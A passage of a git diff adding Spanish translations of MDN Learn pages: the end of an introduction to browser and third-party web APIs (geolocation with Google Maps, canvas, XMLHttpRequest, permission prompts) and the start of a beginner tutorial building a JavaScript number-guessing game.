+ <li><strong>APIs que obtienen datos del servidor,</strong> comunmente usadas para actualizar pequeñas secciones de una página web. Este aparente pequeño detalle tiene un gran impacto en el performance y en el comportamiento de los sitios. — Sí solo necesitas actualizar un Stock de artículos o una lista de tiendas disponibles, al utilizar APIs para obtener datos desde el servidor lo lograrás sin tener que volver a cargar toda la página o aplicación logrando que estas tengan una sensación de rapidez y agilidad. Las APIs hacen esto posible gracias a que incluyen <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest is an API that provides client functionality for transferring data between a client and a server. It provides an easy way to retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just a part of the page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> y la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>. Tambièn puede encontrar el termino Ajax que describe esta técnica. Más información sobre este tipo de APIs en <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>.</li>
+ <li><strong>Las APIs para dibujar y manipular graficos</strong> ya son soportadas por la mayoría de navegadores. Las más populares son <a href="/en-US/docs/Web/API/Canvas_API">Canvas</a> y <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>, que permiten actualizar la información de cada uno de los píxeles contenidos en un {{htmlelement("canvas")}} HTML, para crear escenas 2D y 3D. Por ejemplo, se pueden dibujar formas como rectángulos o círculos, importar una imagen en el canvas y aplicarle filtros como sepia o escala de grises usando la API de Canvas, o crear una escena compleja 3D con iluminación y texturas usando WebGL. Estas APIs, a menudo se combinan con apis para crear bucles de animación (como {{domxref("window.requestAnimationFrame()")}}) y otras veces para hacer que se actualicen constantemente escenas de dibujos animados o videojuegos.</li>
+ <li><strong><a href="https://developer.mozilla.org/en-US/Apps/Fundamentals/Audio_and_video_delivery">APIS de audio y vídeo</a></strong> como {{domxref("HTMLMediaElement")}}, la <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>, y <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> te permitirán hacer cosas realmente interesantes con elementos multimedia: crear una interfaz personalizada para los controles de reproducción de audio y vídeo, mostrar pistas de texto con subtítulos junto con el vídeo, capturar vídeo de la cámara web para ser manipulado en un canvas (ver más arriba) o mostrado en el ordenador de otra persona en una videoconferencia, añadir efectos a las pistas de audio (como ganancia, distorsión, retardo, etc).</li>
+ <li><strong>Las APIs de dispositivos</strong> son básicamente APIs para manipular y recuperar información de dispositivos modernos de hardware de forma que sean útiles para aplicaciones web. Ya hemos hablado de la API de geolocalización, que accede a la información de ubicación del dispositivo, de forma que te pueda localizar en un mapa. Otros ejemplos incluyen indicar al usuario de que una actulización útil está disponible en una aplicación web mediante notificaciones de sistema (ver <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a>) o la vibración de hardware (ver <a href="/en-US/docs/Web/API/Vibration_API">Vibration API</a>).</li>
+ <li>Las <strong>APIS de almacenamiento en el lado del cliente</strong> se están popularizando en los navegadores. La habilidad de almacenar información en el lado del cliente es muy útil para hacer aplicaciones que salven su estado entre carga de páginas, e incluso trabajar cuando el dispositivo está fuera de línea. Hay varias opciones disponibles, por ejemplo el almacenamiento en pares de clave/valor con <a href="/en-US/docs/Web/API/Web_Storage_API" style="font-size: 1rem; letter-spacing: -0.00278rem;">Web Storage API</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, y una forma más compleja de almacenar datos tabulados mediante la </span><a href="/en-US/docs/Web/API/IndexedDB_API" style="font-size: 1rem; letter-spacing: -0.00278rem;">IndexedDB API</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></li>
+</ul>
+
+<h3 id="APIs_populares_de_terceros">APIs populares de terceros</h3>
+
+<p>Existe una gran variedad de APIs de terceros, algunas de las más populares de las que querrás hacer uso en algún momento son:</p>
+
+<ul>
+ <li>La <a href="https://dev.twitter.com/overview/documentation">API de Twitter</a>, que te permite hacer cosas como mostrar tus ultimos tweets en tu sitio web.</li>
+ <li>La <a href="https://developers.google.com/maps/">API de Google Maps</a> permite hacer todo tipo de cosas con mapas en tus páginas web (incluso hace funcionar Google Maps). Actualmente, existe todo un conjunto de apis que te permiten realizar una gran variedad de tareas, como se puede ver en <a href="https://developers.google.com/maps/documentation/api-picker">Google Maps API Picker</a>.</li>
+ <li>El <a href="https://developers.facebook.com/docs/">conjunto de APIs de Facebook</a> te permite usar partes del ecosistema de facebook para mejorar tu aplicación, por ejemplo aportando la posiblidad de identificación mediante el login de Facebook, aceptar pagos en la aplicación, desplegar campañas de anuncios para un target concreto, etc.</li>
+ <li>La <a href="https://developers.google.com/youtube/">YouTube API</a>, te permite integrar videos de Youtube en tu sitio, buscar en Youtube, construir listas de reproducción y más.</li>
+ <li>La <a href="https://www.twilio.com/">Twilio API</a>, provee de un framework para crear la funcionalidad de llamadas y videollamadas en tus aplicaciones, enviar SMS o MMS y más.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: puedes encontrar información de una gran cantidad de APIs de terceros en el <a href="http://www.programmableweb.com/category/all/apis">Programmable Web API directory</a>.</p>
+</div>
+
+<h2 id="¿Cómo_funcionan_las_APIs">¿Cómo funcionan las APIs?</h2>
+
+<p>Las distintas APIs de JavaScript funcionan de forma ligeramente diferente, pero generalmente tienen características similares y una forma parecida en cómo trabajan.</p>
+
+<h3 id="Están_basadas_en_objetos">Están basadas en objetos</h3>
+
+<p>Las APIs interactúan con tu código usando uno o más <a href="/en-US/docs/Learn/JavaScript/Objects">Objetos JavaScript,</a> que sirven como contenedores para los datos que usa la API (contenidos en las propiedades del objeto), y la funcionalidad que la API provee (contenida en los métodos del objeto).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: si no estás familiarizado en cómo trabajar con objetos, deberías volver atrás y revisar el módulo de <a href="/en-US/docs/Learn/JavaScript/Objects">objetos JavaScript </a>antes de seguir.</p>
+</div>
+
+<p>Volvamos al ejemplo de la API de Geolocalización, que es una API muy simple que consiste en unos pocos objetos sencillos:</p>
+
+<ul>
+ <li>{{domxref("Geolocation")}}, que contiene tres métodos para controlar la recuperación de los datos geográficos.</li>
+ <li>{{domxref("Position")}}, que representa la posición de un dispositivo en un momento dado — esto contiene un objeto {{domxref("Coordinates")}} que contiene la información de la posición actual, además de una marca de tiempo con el momento exacto.</li>
+ <li>{{domxref("Coordinates")}}, que contiene una gran cantidad de datos útiles sobre la posición del dispositivo, incluyendo latitud y longitud, altitud, velocidad, dirección de movimiento y más.</li>
+</ul>
+
+<p>¿Cómo interactúan estos objetos? Si miras a nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/maps-example.html">maps-example.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/maps-example.html">ver también en vivo</a>), encontrarás el siguiente código:</p>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);
+  var myOptions = {
+    zoom: 8,
+    center: latlng,
+    mapTypeId: google.maps.MapTypeId.TERRAIN,
+    disableDefaultUI: true
+  }
+  var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);
+});</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: cuando cargues por primera vez el ejemplo de arriba, se te mostrará un mensaje preguntando si deseas compartir tu localización con esta aplicación (ver la sección {{anch("They have additional security mechanisms where appropriate")}} que se encuentra más adelante en este artículo). Deberás estar de acuerdo con esto para poder ver tu localización en el mapa. Si aún así sigues sin ver tu localización, tal vez debas establecer los permisos manualmente; lo puedes hacer de varias formas dependiendo del navegador que estés usando; por ejemplo en Firefox debes ir a  &gt; <em>Tools</em> &gt; <em>Page Info</em> &gt; <em>Permissions</em>, y cambiar la configuración para <em>Share Location</em>; en Chrome ve a <em>Settings</em> &gt; <em>Privacy</em> &gt; <em>Show advanced settings</em> &gt; <em>Content settings</em> y cambia las opciones para <em>Location</em>.</p>
+</div>
+
+<p>Primero queremos usar el método {{domxref("Geolocation.getCurrentPosition()")}} para retornar la posición actuali de nuestro dispositivo. El objeto {{domxref("Geolocation")}} del navegador es accedido llamando a la propiedad {{domxref("Navigator.geolocation")}}, así que comenzaremos haciendo:</p>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) { ... });</pre>
+
+<p>Lo que es equivalente a hacer algo como:</p>
+
+<pre class="brush: js">var myGeo = navigator.geolocation;
+myGeo.getCurrentPosition(function(position) { ... });</pre>
+
+<p>Pero podemos usar la sintaxis con punto para concatener nuestros accesos a propiedades/métodos reduciendo el número de líneas que tenemos que escribir.</p>
+
+<p>El método {{domxref("Geolocation.getCurrentPosition()")}} solamente tiene un parámetroobligatorio, que es una función anónima que se ejecutará cuando se recupere correctamente la ubicación del dispositivo. Esta función tiene un parámetro, que contiene un objeto<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{domxref("Position")}} con la representación de los datos de la posición actual.</span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: una función que es tomada por otra función como argumento es conocida con el nombre de <a href="/en-US/docs/Glossary/Callback_function">callback function</a>.</p>
+</div>
+
+<p>Este patrón de invocar una función solamente cuando una operación ha sido completada es muy común en las APIs de Javascript — asegurando que una operación ha sido completada antes de intentar usar los datos que retorna en otra operación. Estas operaciones se llaman <strong><a href="/en-US/docs/Glossary/Asynchronous">operaciones asíncronas</a></strong>. Puesto que obtener la posición actual del dispositivo recae en un componente externo (el GPS del dispositivo u otro hardware de geolocalización), no podemos asegurar que se haga a tiempo para usar inmediatamente los datos. Por tanto, algo así no funcionará:</p>
+
+<pre class="brush: js example-bad">var position = navigator.geolocation.getCurrentPosition();
+var myLatitude = position.coords.latitude;</pre>
+
+<p>Si la primera línea no ha retornado todavía su resultado, la segunda línea lanzará un error puesto que los datos de posición no estarán disponibles. Por esa razón, las APIs que tienen operaciones asíncronas se diseñan para usar<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{glossary("callback function")}}s, o el sistema más moderno de </span><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" style="font-size: 1rem; letter-spacing: -0.00278rem;">Promises</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, que se ha introducido en ECMAScript 6 y se está usando mucho en las APIs más nuevas.</span></p>
+
+<p>Vamos a combinar la API de geolocalización con una API de terceros — la API de Google Maps — que se usa para dibujar la localización retornada por <code>getCurrentPosition()</code> en un mapa de Google. Haremos disponible esta API en nuestra página vinculándonos a ella — encontrarás esta línea en el HTML:</p>
+
+<pre class="brush: html">&lt;script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"&gt;&lt;/script&gt;</pre>
+
+<p>Para usar la API, primero creamos una instancia del objeto <code>LatLng</code> usando el constructor <code>google.maps.LatLng()</code>, que toma los valores de nuestra {{domxref("Coordinates.latitude")}} y {{domxref("Coordinates.longitude")}} geolocalizada como parámetros:</p>
+
+<pre class="brush: js">var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);</pre>
+
+<p>Este objeto quedará establecido como el valor de la propiedad<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">center</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> de un objeto de opciones que hemos llamado </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">myOptions</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">. Entonces crearemos una instancia de objeto para representar nuestro mapa llamando al constructor de </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">google.maps.Map()</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, pasándole sus dos parámetros — una referencia al elemento {{htmlelement("div")}} donde queremos presentar el mapa (con ID </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">map_canvas</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), y el objeto de opciones que acabamos de definir.</span></p>
+
+<pre class="brush: js">var myOptions = {
+  zoom: 8,
+  center: latlng,
+  mapTypeId: google.maps.MapTypeId.TERRAIN,
+  disableDefaultUI: true
+}
+
+var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);</pre>
+
+<p>Una vez hecho, veremos dibujado nuestro mapa.</p>
+
+<p>Este último bloque de código muestra dos patrones habituales que veremos en muchas APIs. Primero, los objetos de las APIs habitualmente disponen de constructores, que son invocados para crear instancias de esos objetos que que habitualmente usaremos en nuestros programas. Segundo, los objetos de las APIs a menudo ofrecen múltiples opciones que pueden ser adaptadas para obtener exactamente lo que queremos en nuestro programa. Los constructores de las APIs habitualmente aceptan un objeto de opciones como parámetro, que es donde se deben establecer dichas opciones.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: no te preocupes si no entiendes todos los detalles de este ejemplo inmediantamente. Los repasaremos usando APIs de terceros con más detalle en un artículo futuro.</p>
+</div>
+
+<h3 id="Tienen_puntos_de_acceso_reconocibles">Tienen puntos de acceso reconocibles</h3>
+
+<p>Cuando uses una API, debes estar seguro que conoces dónde están los puntos de acceso para ella. En la API de Geolocalización esto es bastante sencillo  — es la propiedad {{domxref("Navigator.geolocation")}}, que retorna el objeto del navegador {{domxref("Geolocation")}} que contiene todos los métodos útiles de geolocalización disponibles en su interior.</p>
+
+<p>La API del Modelo de Objetos del Navegador (DOM) tiene un punto de acceso todavía más simple — sus características las podemos encontrar colgando del objeto {{domxref("Document")}}, o una instancia de un elemento HTML que queremos modificar de alguna forma, por ejemplo:</p>
+
+<pre class="brush: js">var em = document.createElement('em'); // crear un nuevo elemento em
+var para = document.querySelector('p'); // referencia a un elemento p existente
+em.textContent = 'Hello there!'; // dar al em algo de contenido textual
+para.appendChild(em); // ubicar el em dentro del párrafo</pre>
+
+<p>Otras APIs tienen puntos de acceso ligeramente más complejos, que a menudo implican crear un contexto específico para escribir el código de la API. Por ejemplo, el objeto de contexto de la API Canvas se crea obteniendo una referencia al elemento<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{htmlelement("canvas")}} en el que quieres dibujar, y a continuación invocando su método {{domxref("HTMLCanvasElement.getContext()")}}:</span></p>
+
+<pre class="brush: js">var canvas = document.querySelector('canvas');
+var ctx = canvas.getContext('2d');</pre>
+
+<p>Cualquier cosa que queramos hacerle al canvas, se conseguirá llamando a las propiedades y métodos del objeto de contexto (que es una instancia de {{domxref("CanvasRenderingContext2D")}}), por ejemplo:</p>
+
+<pre class="brush: js">Ball.prototype.draw = function() {
+  ctx.beginPath();
+  ctx.fillStyle = this.color;
+  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
+  ctx.fill();
+};</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: puedes ver este código en acción en nuetro <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/bouncing-balls.html">bouncing balls demo</a> (y también verlo <a href="http://mdn.github.io/learning-area/javascript/apis/introduction/bouncing-balls.html">funcionando</a>).</p>
+</div>
+
+<h3 id="Usan_eventos_para_manejar_cambios_en_su_estado">Usan eventos para manejar cambios en su estado</h3>
+
+<p>Ya hemos discutido anteriormente los eventos en este curso, en nuestro artículo de <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introducción a los eventos</a> — este artículo detalla qué son los eventos del lado del cliente y cómo se usan en el código. Si no estás familiarizado en cómo se trabaja con la API de eventos del lado del cliente, deberías ir a consultar este artículo antes de continuar.</p>
+
+<p>Algunas APIs web no contienen eventos, pero algunas otras sí contienen un buen número de ellos. Las propiedades para manejarlos, que nos permiten ejecutar funciones cuando los eventos se producen, generalmente se listan en nuestro material de referencia en secciones de "Manejadores de Eventos" separadas. Como ejemplo simple, instancias del objeto <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> (cada uno representa una petición HTTP al servidor para recuperar un nuevo recurso de algún tipo) tienen un número de eventos disponibles, por ejemplo el evento <code>load</code> que es disparado cuando una respuesta ha sido retornada satisfactoriamente conteniendo el recurso solicitado, y ahora está disponible.</p>
+
+<p>El siguiente código aporta un ejemplo simple de cómo se debe usar esto:</p>
+
+
+
+<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';
+var request = new XMLHttpRequest();
+request.open('GET', requestURL);
+request.responseType = 'json';
+request.send();
+
+request.onload = function() {
+  var superHeroes = request.response;
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: puedes ver este código en acción en nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/introduction/ajax.html">ajax.html</a> (<a href="http://mdn.github.io/learning-area/javascript/apis/introduction/ajax.html">verlo en vivo</a>).</p>
+</div>
+
+<p>Las primeras cinco líneas especifican la licalización del recurso que queremos recuperar, se crea una nueva instancia del objeto con la petición usando el constructor <code>XMLHttpRequest()</code>, se abre una petición HTTP <code>GET</code> para recuperar el recurso especificado, se indica que la respuesta debería ser enviada en formato JSON, y finalmente se envía la petición.</p>
+
+<p>El manejador <code>onload</code> especifica entonces qué hacer con la respuesta. Ya sabemos que la respuesta será retornada satisfactoriamente y estará disponible tras producirse el evento load (a menos que haya sucedido un error), así que salvamos la respuesta que contiene el código JSON retornado en la variable <code style="font-size: 1rem; letter-spacing: -0.00278rem;">superHeroes</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, luego lo pasamos a dos funciones diferentes para un procesado posterior.</span></p>
+
+<h3 id="Tienen_mecanismos_adicionales_de_seguridad_donde_sea_necesario">Tienen mecanismos adicionales de seguridad donde sea necesario</h3>
+
+<p>Las características de las WebAPI están sujetas a las mismas consideraciones de seguridad que JavaScript y otras tecnologías web (por ejemplo <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>), pero a veces tienen mecanismos adicionales de seguridad. Por ejemplo, algunas de las WebAPIs más modernas solamente funcionan en páginas servidas mediante HTTPS debido a que transmiten información potencialmente sensible (algunos ejemplos son <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a> y <a href="/en-US/docs/Web/API/Push_API">Push</a>).</p>
+
+<p>Además, algunas WebAPIs solicitarán permiso al usuario para ser activadas cuando se produzcan las llamadas desde el código. Como ejemplo, habrás observado un cuadro de diálogo como éste al probar nuestro ejemplo anterior de <a href="/en-US/docs/Web/API/Geolocation">Geolocalización</a>:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14313/location-permission.png" style="border-style: solid; border-width: 1px; display: block; height: 188px; margin: 0px auto; width: 413px;"></p>
+
+<p>La <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> solicita los permisos de una forma parecida:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14315/notification-permission.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Estos diálogos solicitando permiso se muestran al usuario por motivos de seguridad — si no estuvieran, los sitios podrían rastrear la localización sin que el usuario lo supiera o bombardearlo con un montón de notificaciones molestas.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este punto, deberías tener ya una buena idea de los que son las APIs, cómo trabajan y qué puedes hacer con ellas en tu código JavaScript. Seguramente estarás con ganas de comenzar a hacer cosas divertidas con algunas APIs específicas, así que ¡vamos allá! A continuación veremos cómo manipular documentos con el Modelo de Objetos del Documento (DOM).</p>
+
+<p>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introducción a las APIs web</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulando documentos</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Recuperando información del servidor</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs de terceros</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dibujando gráficos</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs de vídeo y audio</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Almacenamiento en el lado del cliente</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/a_first_splash/index.html b/files/es/learn/javascript/first_steps/a_first_splash/index.html
new file mode 100644
index 0000000000..1d2f5e2be0
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/a_first_splash/index.html
@@ -0,0 +1,613 @@
+---
+title: Un primer acercamiento a JavaScript
+slug: Learn/JavaScript/First_steps/A_first_splash
+tags:
+  - Aprender
+  - Artículo
+  - CodingScripting
+  - Condicionales
+  - Funciones
+  - JavaScript
+  - Novato
+  - Objetos
+  - Operadores
+  - Variables
+  - eventos
+  - 'l10n:priority'
+translation_of: Learn/JavaScript/First_steps/A_first_splash
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Ahora que has aprendido algo sobre la teoría de JavaScript y lo que puedes hacer con ella, te daremos un curso intensivo sobre las características básicas de JavaScript a través de un tutorial completamente práctico. Aquí crearás un sencillo juego de "Adivina el número", paso a paso.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, comprensión básica de HTML y CSS, comprensión de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Tener un poco de experiencia escribiendo algo de JavaScript, y conseguir al menos una comprensión básica de lo que implica escribir un programa JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>No esperes entender todo el código inmediatamente — por ahora sólo queremos presentarte los conceptos de alto nivel, y darte una idea de como funciona JavaScript (y otros lenguajes de programación). ¡Más adelante vas a volver a ver estas características con mucho más detalle!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Muchas de las características que vas a ver en JavaScript son las mismas que en otros lenguajes de programación — funciones, bucles, etc. La sintaxis del código es diferente, pero los conceptos siguen siendo básicamente los mismos. La sintaxis del código es diferente, pero los conceptos siguen siendo básicamente los mismos.</p>
+</div>
+
+<h2 id="Pensando_como_un_programador">Pensando como un  programador</h2>
+
+<p>Una de las cosas más difíciles de aprender en programación no es la sintaxis que necesita aprender, sino cómo aplicarla para resolver problemas del mundo real. Debes comenzar a pensar como un programador — esto generalmente implica mirar descripciones de lo que necesita hacer tu programa, determinar qué características de código necesitas para alcanzar esas cosas y cómo hacer que funcionen juntas.</p>
+
+<p>Esto implica una combinación de trabajo duro, experiencia con la sintaxis de programación y práctica — más un poquito de creatividad. Mientras más programes, más habilidoso serás haciéndolo. No te podemos prometer que vas a desarrollar un "cerebro de programador" en cinco minutos, pero, a lo largo de este curso, te vamos a dar muchas oportunidades de practicar el pensar como un programador.</p>
+
+<p>Teniendo esto en mente, veamos el ejemplo que vamos a construir en este artículo, y revisemos el proceso general de seccionarlo y dividirlo en tareas tangibles.</p>
+
+<h2 id="Ejemplo_—_Juego_adivina_el_número">Ejemplo — Juego adivina el número</h2>
+
+<p>En este artículo vamos a mostrarte cómo construir el juego que puedes ver abajo:</p>
+
+<div class="hidden">
+<h6 id="Top_hidden_code">Top hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Juego adivina el número&lt;/title&gt;
+    &lt;style&gt;
+        html {
+            font-family: sans-serif;
+        }
+
+        body {
+            width: 50%;
+            max-width: 800px;
+            min-width: 480px;
+            margin: 0 auto;
+        }
+
+        .lastResult {
+            color: white;
+            padding: 3px;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+    &lt;h1&gt;Juego adivina el número&lt;/h1&gt;
+    &lt;p&gt;Hemos seleccionado un número aleatorio entre 1 y 100. Fíjate si lo puedes adivinar en 10 turnos o menos. Vamos a decirte si tu número es más alto o más bajo.&lt;/p&gt;
+    &lt;div class="form"&gt; &lt;label for="guessField"&gt;Adivina el numero: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt; &lt;input type="submit" value="Enviar respuesta" class="guessSubmit"&gt; &lt;/div&gt;
+    &lt;div class="resultParas"&gt;
+        &lt;p class="guesses"&gt;&lt;/p&gt;
+        &lt;p class="lastResult"&gt;&lt;/p&gt;
+        &lt;p class="lowOrHi"&gt;&lt;/p&gt;
+    &lt;/div&gt;
+&lt;script&gt;
+    // Tu código JavaScript va aquí
+    let randomNumber = Math.floor(Math.random() * 100) + 1;
+    const guesses = document.querySelector('.guesses');
+    const lastResult = document.querySelector('.lastResult');
+    const lowOrHi = document.querySelector('.lowOrHi');
+    const guessSubmit = document.querySelector('.guessSubmit');
+    const guessField = document.querySelector('.guessField');
+    let guessCount = 1;
+    let resetButton;
+
+    function checkGuess() {
+      let userGuess = Number(guessField.value);
+      if (guessCount === 1) {
+        guesses.textContent = 'Intentos anteriores: ';
+      }
+
+      guesses.textContent += userGuess + ' ';
+
+      if (userGuess === randomNumber) {
+        lastResult.textContent = '¡Felicidades! ¡Lo adivinaste!';
+        lastResult.style.backgroundColor = 'green';
+        lowOrHi.textContent = '';
+        setGameOver();
+      } else if (guessCount === 10) {
+        lastResult.textContent = '!!!Fin del juego!!!';
+        lowOrHi.textContent = '';
+        setGameOver();
+      } else {
+        lastResult.textContent = '¡Incorrecto!';
+        lastResult.style.backgroundColor = 'red';
+        if(userGuess &lt; randomNumber) {
+          lowOrHi.textContent = '¡El número es muy bajo!' ;
+        } else if(userGuess &gt; randomNumber) {
+          lowOrHi.textContent = '¡El número es muy grande!';
+        }
+      }
+
+      guessCount++;
+      guessField.value = '';
+    }
+
+    guessSubmit.addEventListener('click', checkGuess);
+
+    function setGameOver() {
+      guessField.disabled = true;
+      guessSubmit.disabled = true;
+      resetButton = document.createElement('button');
+      resetButton.textContent = 'Iniciar nuevo juego';
+      document.body.append(resetButton);
+      resetButton.addEventListener('click', resetGame);
+    }
+
+    function resetGame() {
+      guessCount = 1;
+      const resetParas = document.querySelectorAll('.resultParas p');
+      for(let i = 0 ; i &lt; resetParas.length ; i++) {
+        resetParas[i].textContent = '';
+      }
+
+      resetButton.parentNode.removeChild(resetButton);
+      guessField.disabled = false;
+      guessSubmit.disabled = false;
+      guessField.value = '';
+      guessField.focus();
+      lastResult.style.backgroundColor = 'white';
+      randomNumber = Math.floor(Math.random() * 100) + 1;
+    }
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Juega un poco — familiarízate con el juego antes de continuar.</p>
+
+<p>Imaginemos que tu jefe te ha dado el siguiente resumen para crear este juego:</p>
+
+<blockquote>
+<p>Quiero que crees un sencillo juego del tipo "adivina el número". Se debe elegir un número aleatorio entre 1 y 100, luego desafiar al jugador a adivinar el número en 10 intentos. Después de cada intento, debería decirle al jugador si ha acertado o no — y si está equivocado, debería decirle si se ha quedado corto o se ha pasado. También debería decir los números que ya se probaron anteriormente. El juego terminará una vez que el jugador acierte o cuando se acaben los intentos. Cuando el juego termina, se le debe dar al jugador la opción de volver a jugar.</p>
+</blockquote>
+
+<p>Al observar este resumen, lo primero que podemos hacer es comenzar a desglosar el proyecto en tareas simples y realizables, con la mayor mentalidad de programador posible:</p>
+
+<ol>
+ <li>Generar un número aleatorio entre 1 y 100.</li>
+ <li>Registrar el número del intento en el que el jugador se encuentre. Empezando en 1.</li>
+ <li>Darle al jugador una forma de adivinar cuál es el número.</li>
+ <li>Una vez que se ha introducido en número, registrarlo en alguna parte para que el jugador pueda ver sus intentos previos.</li>
+ <li>A continuación, comprobar si el número es correcto.</li>
+ <li>Si es correcto:
+  <ol>
+   <li>Mostrar un mensaje de felicitaciones.</li>
+   <li>Hacer que el jugador no pueda introducir más intentos (esto arruinaría el juego).</li>
+   <li>Mostrar un control que permita al jugador volver a empezar el juego.</li>
+  </ol>
+ </li>
+ <li>Si es incorrecto y al jugador todavía le quedan intentos:
+  <ol>
+   <li>Decirle al jugador que ha fallado.</li>
+   <li>Dejar que el jugador lo intente de nuevo.</li>
+   <li>Incrementa el número de intentos en 1.</li>
+  </ol>
+ </li>
+ <li>Si el jugador falla y no le quedan turnos:
+  <ol>
+   <li>Decirle al jugador que el juego se ha terminado.</li>
+   <li>Hacer que el jugador no pueda introducir más intentos (esto arruinaría el juego).</li>
+   <li>Mostrar un control que permita al jugador volver a empezar el juego.</li>
+  </ol>
+ </li>
+ <li>Una vez que el juego se reinicia, asegúrate de que la lógica del juego y la IU (interfaz de usuario) se restablezcan por completo, luego vuelve al paso 1.</li>
+</ol>
+
+<p>Veamos cómo podemos trasformar estos pasos en código, construyendo el ejemplo y explorando las características de JavaScript a medida que avanzamos.</p>
+
+<h3 id="Configuración_inicial">Configuración inicial</h3>
+
